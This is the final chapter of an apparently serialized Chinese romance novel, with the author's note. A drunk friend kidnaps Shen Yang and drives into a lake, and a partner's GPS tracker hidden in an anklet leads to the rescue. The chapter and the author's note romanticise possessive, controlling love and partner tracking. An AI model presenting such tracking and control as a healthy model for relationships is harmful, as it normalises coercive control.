真是让人嫉妒啊。 “沈泱,你说凭什么江措就能这么幸福呢?凭什么他就能事业有成,步步高升,喜欢的人一直陪在他的身边,不离不弃?” 沈泱对陈辞的话很不舒服,他停止了和捆绑自己的两根领带做斗争,盯着陈辞骂道:“你是什么恶毒的男人!江措凭什么不能幸福了,他聪明上进自律专一努力刻苦勤奋踏实靠谱,他凭什么……” 沈泱越是说着,就见厢顶灯下的陈辞越发扭曲和怪异,沈泱忽然住了嘴。 这些年和陈辞算是朋友,但他忽然想起了第一次和陈辞见面的时候,是他被陈兵认为了干儿子,来久塘一中找江措炫耀。 其实,想想,后来对江措的那点帮助,也未尝没有对江措炫耀的意思,毕竟以前在久塘,陈辞一直是被江措压制的万年老二。 而且陈辞除了喜欢的沈泱是男孩子,后面的三个对象都是女生,所以对沈泱的喜欢和追求没有一丁点和江措较劲的意思吗? 沈泱整理了一下心情,舔了舔红润的嘴唇后,好声好气地说道:“陈辞,你不就是你干爹的公司破产了吗?就算公司破产了,难道就不能东山再起了吗?你不要干这种事,你快点放了我。” “东山再起?”陈辞低笑一声,“沈泱,你知道我欠了多少钱吗?” “多少钱?”越是挣扎,沈泱的手腕被领带勒得越疼。 陈辞又攥紧啤酒瓶,一口气将大半罐啤酒喝了一滴不剩,他的脸上明显泛起了醉酒后的红晕,眼神不清醒。 沈泱被他捆在后车座,沈泱二十大几岁了,哪怕生活中没有接触过许多事,通过网络也知道酒后的人是最没有理智的,尤其是陈辞这种事业和爱情都陷入低谷的人。 “你很缺钱吗?这样吧,我让江措借给你好吗?你先放开我。” “他有一个亿吗?”陈辞盯着他问。 沈泱不假思索道:“当然有!” 陈辞喃喃了一句,“可真有钱。”陈辞就算是前两年最意气风发的时候,都拿不出一个亿,他只是一个干儿子,陈兵怎么可能给他一个亿呢,陈辞又想起了三点,近十年来创业最成功的互联网公司。 他猛地将易拉罐一扔,双脚踩上油门,发动引擎,驱车离开。 “靠,陈辞,你喝了那么多酒,你还敢开车,你他妈放了我,放了我!!” 陈辞充耳不闻,只是狠踩油门,将奥迪朝某个方向开过去。 “陈辞,你这样很危险,我的手机呢?你把我的手机给我!!” 陈辞没有回答沈泱。 不知道陈辞将车开到了哪个地方,周围都是荒郊野外,沈泱大声呼救,车窗外只有冬日呼啸的风声,他叫陈辞的名字,陈辞置若罔闻,倒是将沈泱的嗓子吼痛了,力气告罄。 他只能暂时养精蓄锐,直到陈辞将汽车从乡间小道开进了深山密林里,沿着某个方向直挺挺地冲过去,沈泱看见他的方向似乎是不远处的一个湖。 沈泱登时坐直了身体,“陈辞,你他妈干嘛,你不就是事业爱情受挫了吗?你不至于为了这么一点事要寻死吧,就算要死,那你帮我放下来啊!” 陈辞转过头,忽地朝他笑了一下,那个笑扭曲而怪异,“太没意思了。” “你停车你停车!江措!”眼看汽车即将直挺挺驶入湖中,沈泱闭上眼睛,下意识地喊了一声江措,听到这一声江措,陈辞攥紧了方向盘。 汽车车头直接冲入湖水中,就在即将要把车头淹没完毕时,陈辞浑身被冰冷的湖水一泡,烦躁地草了一声,猛地打开副驾驶门,从水里游了出去,又砸开后驾驶的玻璃,打开车窗,将手脚都捆绑着的沈泱抱出来。 两个人离开湖水后,半边身体驶入湖水里的汽车缓缓地往下移动,刺耳的一声嘭传过来,整辆车彻底地没入冰寒的湖水里。 沈泱盯着这一幕,浑身脱力地跌坐在草地上,喉结不安地滚动。 刚才一切发生得太快了,快到沈泱还以为刚才发生的一切是幻觉。 陈辞坐在距离沈泱三四米的地方,冰凉的月光洒在他湿漉漉的衣服上,沈泱害怕他继续发疯,没有敢说话,只是偷偷摸摸地蹭着手腕上没解开的领带,妄图把它理开。 陈辞在这个时候忽然转过了头,轻声说道,“沈泱,你说如果我没有跟着陈兵去南城多好啊?” 他在久塘二中一直名列前茅,每次考试都能考到前五,他会考上一个非常不错的大学,他会选一个计算机类的专业,毕业之后会收入大几千,一两万,对于从高原里走出来的贫穷少年来说,不算少,完全可以负担得起他和家里的开支,他会忙着提升自己的专业技能,而不是在陈家和那些人争权夺利,相信了不该相信的人,赔掉了所有的钱,甚至还欠下一大笔巨款。 “你没和他去南城你就没办法享受你这么多年的少爷生活了。”沈泱不是很想关心陈辞此时此刻的心理状态,但又怕一不小心他再次想不开,他诚心诚意地望着他讲道,“如果你真的很缺钱,我让江措借给你,当然了,前提是你把我手机先给我,我可以平安回家。” 陈辞没吭声,他盯着湿漉漉的沈泱说:“江措联系不上你,会担心吧?” 沈泱:“我要我的手机!” 陈辞:“沈泱,今晚的月亮好圆,我好久没有看过这么圆的月亮了。” 又说:“陪我看会儿月亮吧,天亮了我会放你离开。” 又挤出一点笑,“江措现在过的那么顺风顺水,我只是让他惊恐交加一个晚上,我是不是很善良?” 绑着双手的死结不知道怎么打出来的,沈泱还是没有挣脱开,反而胳膊弄得酸胀不已。 见陈辞似乎醒了酒,不会再做什么追悔莫及的事,但沈泱还是不敢掉以轻心,陈辞这种事业感情都受到打击,对自己要求又高的人其实很危险,万一等会儿他又想不开了呢。 沈泱安静地坐在草地上,一阵寒风袭来,他忍不住打了个喷嚏,目光朝四周张望。 忽然,一阵汽车的引擎声轰然在耳边炸开,由远及近,陈辞起初以为是什么夜间的过路车辆,又觉得不对,这条路荒僻凄凉,一般人不可能开到这里来的。 脑袋里刚想到这里,那辆黑色的奔驰已经开到了他的面前,朝他直直地撞过来。 一切发生在电光火石之间,眼见一辆汽车朝他逼过来,陈辞下意识往旁边一闪。 汽车隔开沈泱和陈辞的距离后,在湖边猛地刹住车,陈辞还没有在刺眼的远光里回过神,就被一个高大的男人扑按在了草地上,胡大江怒不可遏,“草,罗布次仁你这个混球,老子每次回久塘还帮你父母给你带特产,你他妈竟然敢绑架沈泱!” 江措藏在衣袖里的手臂细微地颤抖着,他脚步踉跄地从副驾驶出来,看见近在咫尺的沈泱。 见沈泱被捆着手脚,浑身湿润,但叫他名字时眼睛却发着光,嗓音洪亮,浸泡在没有一点光亮的黑暗里的心脏才终于缓慢地跳动了起来。 快步走到沈泱身前,手指颤抖地解开绑住他脚和手腕的两条领带,江措从上到下地打量他,“没事吧?” 沈泱打了个喷嚏,“我没事。” 江措脱掉了自己的外套,又脱掉沈泱身上打湿的羽绒服,给他裹在身上,紧紧地抱住他,嘴唇贴着沈泱湿润的额头,心有余悸道:“没事就好,没事就好。” 沈泱又打了个喷嚏。 冬日的晚上冷得人瑟瑟发抖,尤其是从水里出来的人,江措让沈泱上车后,先把陈辞捆了起来,冷着脸,踹了他两脚。 他完全没收敛力气,陈辞在草地上被他踹的身体一滚,他疼得脸色一变,不过并没有呼疼。 江措站在车窗外,深呼吸了两口气,沈泱坐在副驾驶,他开车,陈辞扔在后排座上,胡大江坐他旁边。 半个小时后,汽车开到附近的一个郊区镇子上,先给沈泱买了干燥的衣服裤子换上,又用吹风机吹干头发,江措才开车回到申城。 沈泱回到家已经是凌晨五点了,折腾了一个晚上,这三个小时江措又一直在身边,前半夜的恐惧和不安消失,沈泱回到家则开始犯困了。 柏平最近在国内,他和竺丽打算结婚,前几天去竺丽的家乡和她的亲人见面,今天刚回申城,结果联系不上沈泱。 忐忑不安了一整晚,见沈泱全须全尾地回来了,问了问情况,沈泱简单地把事情给舅舅讲了一遍,又说:“别担心,陈辞今晚就是酒喝多了点,我这不是没事吗?舅舅。” 总而言之,有惊无险。 柏平见沈泱犯困,让他快些上楼去睡觉。 江措则冲了一杯感冒冲剂给沈泱,沈泱今天落了水,现在没发烧没不舒服,还是要预防,沈泱喝完了感冒冲剂,又指挥江措抱着他去洗手间刷了个牙,躺在床上,窝在江措的怀里,没几分钟,就睡熟了。 等沈泱睡熟后,江措摸了摸沈泱的脸,确认沈泱是货真价实存在他的身边后,江措抱着他躺了好一会儿,心跳差不多恢复平静后,江措起身,轻手轻脚地离开了卧室。 凌晨六点的申城天刚刚泛起一点微弱的湛蓝色,江措走出卧室,一楼大厅里灯光煌煌,听见二楼传来窸窣的动静声,坐在客厅里的柏平脸色不善地朝他看去。 江措下了一楼,神色平静地叫了一声舅舅。 柏平:“江措,你给沈泱装了定位器之类的东西?”他虽然用的是疑问句之类的句式,却是肯定句一类的语气。 今天晚上沈泱忽然联系不上后,柏平自然担心,甚至担心地想要报警,只是一个成年人一两个小时不接电话,根本达不到立案的标准。 再听听沈泱刚才交代的内容,他被事业爱情都不顺的陈辞约出去喝酒,中途,忽然丧失了意识,醒过来就在荒郊野外的车上。 陈辞喝了很多酒,大受打击之下想要拉着他一起死,不过水刚开进湖里他后悔了,立刻把他捞了起来,没多久江措和胡大江就发现了他,制伏了陈辞。 在沈泱的说辞里,陈辞没有联系过江措,而那个地方距离申城有两三个小时的车程,晚上他给江措打电话的时候,江措冷静地对开车的胡大江交代,“定位显示现在在陶瓷镇三村。” 定位,什么定位?而且江措为什么能在沈泱在湖边不到二十分钟后,就找到沈泱?知道沈泱的位置,只有一个原因,他给沈泱安装了类似定位一类的追踪器。 今天平安脱险有定位器的作用,但什么人才会对伴侣安装这种东西? 身为沈泱的舅舅,柏平天然就是站在沈泱的那边的,他压低了声音斥责道:“江措,你这是在做什么?正常的情侣会给另外一半安装这种东西在身上的吗?你对沈泱有最起码的尊重吗?他是一个人!!” 陈辞两年前见面就不满意江措,除了江措是个男人外,更多的是觉得江措的生长环境不健康,性格缺陷很多,总觉得沈泱哪怕要和男人在一起,也应该值得更好的。 这两年他观察着,沈泱铁了心要和江措在一起,而江措的确是把沈泱捧在手心里,也只能尊重沈泱的选择。 可现在,沈泱选择的是一个什么样的男人? 是一个在他身上装定位器的男人!这是一般人能做出来的事吗? 又想到这两年江措虽然对沈泱很好,经过沈泱离家出走一事后也愿意尊重沈泱的工作,但其实骨子里还是霸道和占有欲极强。 沈泱还是最多两三个小时就要给江措发消息,否则江措就会疯狂地给他打电话,看到沈泱和其他男人女人走近了一点,冷着脸不开心。 他妈的这根本就不是一个健康的人,怎么可能给沈泱健康的爱情? “你什么时候给沈泱安装的定位器?”柏平瞪着他。 江措平静道:“去年的冬天。” 柏平怒极,拿起茶几上的摆件就朝江措砸了过去。 江措微微偏头,躲开了。 这时候二楼却传来沈泱激动的声音,“舅舅,你在干什么?”沈泱睡得不太踏实,睡梦中一直往江措身上靠,挪了半天都没摸到江措,沈泱瞬间清醒了过来。 沈泱刚打开门走出来,就见楼下舅舅朝着江措扔了个铁质的摆件。 沈泱急匆匆地乘坐电梯下楼,冲出电梯后朝柏平急切道,“舅舅,怎么了?江措怎么惹你生气了。”又抱怨道,“就算他惹你生气了,你也不能拿铁做的东西砸他啊,万一真的打到了怎么办?” 见沈泱竟然还护着江措,柏平胸膛剧烈地起伏了几下,他手指着江措道:“你问他,他背着你干了什么事?” 沈泱狐疑地看着江措。 柏平不等江措开口,冷笑一声道:“沈泱,他在你身上安了定位器!” 沈泱眨了眨眼,看看平静的江措,又看了看生气的柏平,半晌后,小声翼翼道:“我知道啊,舅舅。” “你知道?”柏平锐利的眼神顿时扫向他。 沈泱低声道:“知道啊。” 沈泱脚踝上的黄金小鱼脚链微微发着烫,他不喜欢戴首饰,昂贵的机械腕表除了有时候爱漂亮,戴一戴,也不会每天戴,总觉得戴在手腕上,影响他做事。 定位器是镶嵌在脚链上的。 两年前冬天安装的。 彼此,沈泱刚和江措吵完架和好,江措愿意学习尊重沈泱的爱好,允许他被很多人发现,允许可能会有更多的人喜欢沈泱,也开始相信沈泱的爱意,就算有很多人追求他,也只会选择江措。 但骨子的霸道和控制欲改不了,沈泱因为在录音棚录音,手机没电关机,江措一整天没联系到沈泱,会开完就冲到了录音棚,当天晚上冷着脸告诉沈泱,他要在他身上安装一个定位器,可以随时知道他的踪迹。 沈泱骂他神经病。 沈泱后来同意了,反正每天哪怕两个人不在一起,沈泱也要经常和江措聊天,聊着聊着就汇报了自己的踪迹,何况沈泱有时候配音真的很忙,忙起来了心无旁骛,根本没空回江措的消息,他那电话催命一样打,烦死了。 没安装在手机里,因为沈泱每天都要拿着手机,他才不同意。 于是安装在了黄金小鱼脚链里。 脚链随时可以摘下,戴不戴看沈泱的心情,有时候沈泱戴腻了,不想戴,就扔在床头柜,有时候江措惹他不开心了,沈泱就故意不戴,有时候沈泱不想江措随时知道自己的踪迹,也不戴,只是那天江措的消息会勤快一些而已。 今天恰好是戴上的。 柏平震惊地盯着沈泱,“你知道?” “对啊,知道啊。”沈泱撩起睡裤,给舅舅看了看自己的脚踝上的细细的脚链,“在这里面,不过随时可以取下的。” 沈泱露在外面的脚踝雪白细腻,映衬着金色的脚链,见柏平直直地盯着戴着脚链的脚踝看了好几秒,江措蹲下身,把沈泱的裤腿拽下去。 “你可以自己取吗?”柏平还是不相信。 “可以啊。”沈泱弯下腰,把脚链取了下来。 柏平脑袋有点晕:“大部分时间都是戴着的?” 沈泱:“其实这个脚链还挺好看的啦。” “好啦,舅舅,你快点去睡吧,江措说你一夜没睡,你下个月都要结婚了,一定要做最帅的新郎官,快去吧快去吧。”沈泱推着柏平,进了他的房间。 “我也好困,我要继续睡觉了,舅舅。”沈泱将柏平推进房间后,打了个呵欠,靠着江措,往楼上走。 柏平站在卧室门口,盯着距离他越来越远的两个青年的背影,他们离得很近,不是正常的社交距离,是一种极其亲近的关系才会有的社交距离,两个人手臂几乎是贴在对方胸口的。 盯着两个青年上楼的背影,就在这一瞬间,一根细小的火花击中了柏平某根细微的神经,一个念头瞬间浮现在柏平心头。 柏平一直是对江措有意见的,不够满意的,因为他纵然在事业上很成功,但他确实是有着很多性格缺陷的男人。 霸道强势,占有欲和控制欲都超出了正常人的范围,对伴侣情感需求太强烈和太急切,不是正常的阈值。 柏平了解过江措的生平,也清楚地知道他这些不健康的性格的来源,他出生在一个偏僻落后的家庭,父亲性格暴虐,幼年数次被最亲的亲人抛弃,喜欢的宠物和玩具都没办法拥有,会被那个称之为父亲的人扼杀。 所以和沈泱谈恋爱的江措,会展现出一种超乎寻常的占有欲,恐惧沈泱离开他,哪怕现在相信了沈泱对他的爱意,但本性难改,骨子里的占有欲还是令人望而生畏。 高频率的消息和电话是常态,要了解沈泱的方方面面,沈泱的朋友和同事,江措必定和沈泱一样,拥有对方的联系方式,不喜欢除了江措以外的任何人和事占据沈泱的太多时间和精力,哪怕同意沈泱去工作,心里则恨不得沈泱不去工作,天天待在家里或者去他公司上班。 柏平是一个人格健全的成年人,他觉得健康积极的爱不是江措这样,要尊重对方,给对方足够的私人空间,在对方有需要的时候,提供恰到好处的帮助,不疑神疑鬼,支持对方积极的爱好。 所以一直以来,都不是很满意江措。 可是此时此刻,他忽然意识到了沈泱是什么样的沈泱,沈泱需要的是一个世俗意义下健康的恋爱关系吗?需要对方给他足够的空间,不干涉他的个人爱好,不过分进入他的社交圈,不时常打扰他的工作,不动不动就吃醋的,成熟的独立的健康的爱情吗? 江措一直在被抛弃,所以江措对于喜欢的人必须是牢牢地握在手里,哪怕吃相难看也绝不松开一点手。 可沈泱遭遇了比江措更多的抛弃,小时候被自己的母亲抛弃,被母亲当着面骂他恶心,被信任的父亲抛弃,最无助的时候舅舅也抛弃了他,关系很好的继母将他扔到高原,血浓于水的大伯卖掉他。 沈泱经历了被江措更多的抛弃。 而这样的沈泱,他需要的是什么呢?在这一个冬日冷寒的早晨,柏平心魂颤抖,对沈泱连江措要安定位器不生气,而是耳红的事一刺激,忽然清晰地意识到了沈泱需要的是什么。 他不需要常见的拒绝了就抱歉退后的健康爱情,也不需要太多的个人空间,更不需要什么自由支持距离。 江措总是被抛弃,所以要拼了命地抓住想要抓住的人,沈泱总是被抛弃,所以要强烈地感受到自己永远不会再被抛弃。 他需要的是浓烈的会将普通人灼伤的爱意,需要的永远不会放弃我的确定感。 柏平忽然想起了这两年,沈泱时有抱怨江措的烦人,霸道,但在江措无孔不入的侵略里,沈泱竟然也会因一丁点小事,而无理取闹,骂江措不在乎自己了。 两个人的背影已经彻底消失在了柏平的眼底,柏平关上了卧室的房门,意识到了一件事。 沈泱和江措其实是天生一对,是天作之合。 一个需要拼命地把对方攥在手里,一个需要感受到对方拼命地把自己攥在手里。 所以会吵架,会磨合,却从来没想过分手,因为对方最契合最核心的那一部分。 沈泱和江措都不是世俗意义上健康的人,可健康的标准由谁定义,人从来不需要追求世俗意义冠有的健康积极的标准,只需要找到自己最舒服的和世界相处的方式。 沈泱掀开了被子躺进了床上,江措躺在他身边。 沈泱靠在江措的身边,睁着眼睛对他说:“江措,你又惹我舅舅生气了。” 江措神色冷漠,“是他一直看我不顺眼。” 沈泱神色心虚,宛若夹在老婆和母亲之间的小丈夫,他避开江措的视线说道:“没有吧。” 江措看着他说:“我会因为你在乎他而一直让步。” 沈泱蹙了下眉,“你不要说的你那么可怜好不好?” 江措垂着眸,眼神平静地和他对视,沈泱盯着他看了几秒钟,仰起头,用力地亲在他的脸上,发出响亮的一声“啵儿。” 江措神色还是没有变化,沈泱捧着他的脸,使劲儿地在他脸上“啵”了好几下。 江措脸上的阴郁终于消失了 ,见沈泱打了个呵欠,眼眶里溢出湿润的水珠,江措将人搂到了怀里,“睡觉吧,沈泱。” 沈泱确实精力告罄,他轻轻地嗯了一声,薄红的眼皮落下来,很快就睡着了。 江措听着沈泱均匀的呼吸声,紧紧地搂着他,不多时也陷入了沉睡里。 宽敞的房间里,晨光透过窗帘的缝隙,透进来微弱的一点,柔软宽敞的大床上,两个青年日复一日地相拥而眠。 是一个不太规则的睡眠姿势,就像两个不完美的有缺点和优点的少年跌跌撞撞地相遇了,最后两个人不规则却完美地契合在了一起—— 作者有话说:正文完结啦 开文的时候我就想好了,正文要停在这一段啦,泱宝和江措就是天作之合,他们彼此完美契合,不是很健康的恋爱,却是最契合的恋爱,他们本质上都是没有安全感的小孩。 所以沈泱极少为江措强烈的占有欲生气,他其实很享受这种感觉,这种窒息的被需要被在乎的感觉。 会有番外,正文没交代的东西会有番外啦,不过我要休息两三天,再开始更番外啦,大家有想看的番外可以在评论区点点菜[猫头][竖耳兔头] 本章随机送六十六个小红包啦。 谢谢宝宝们的支持和陪伴《 》